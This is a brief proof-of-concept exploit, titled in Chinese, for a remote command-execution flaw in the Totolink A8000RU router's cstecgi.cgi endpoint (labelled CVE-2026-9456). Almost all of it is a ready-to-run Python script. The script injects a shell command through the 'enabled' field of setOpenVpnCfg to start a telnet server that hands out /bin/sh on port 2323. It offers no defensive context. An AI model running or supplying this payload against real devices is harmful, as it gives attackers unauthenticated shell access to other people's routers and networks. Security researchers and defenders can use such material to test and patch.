CVE-2026-9456 Totolink A8000RU远程命令执行漏洞

import requests target_url = "http://<target_ip>/cgi-bin/cstecgi.cgi" headers = {"Content-Type": "application/json"} # Payload injects a command to start a telnet server # The 'enabled' argument is vulnerable to command injection payload = { "function": "setOpenVpnCfg", "enabled": "; telnetd -l /bin/sh -p 2323 &" } try: r = requests.post(target_url, json=payload, headers=headers, timeout=5) if r.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {r.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")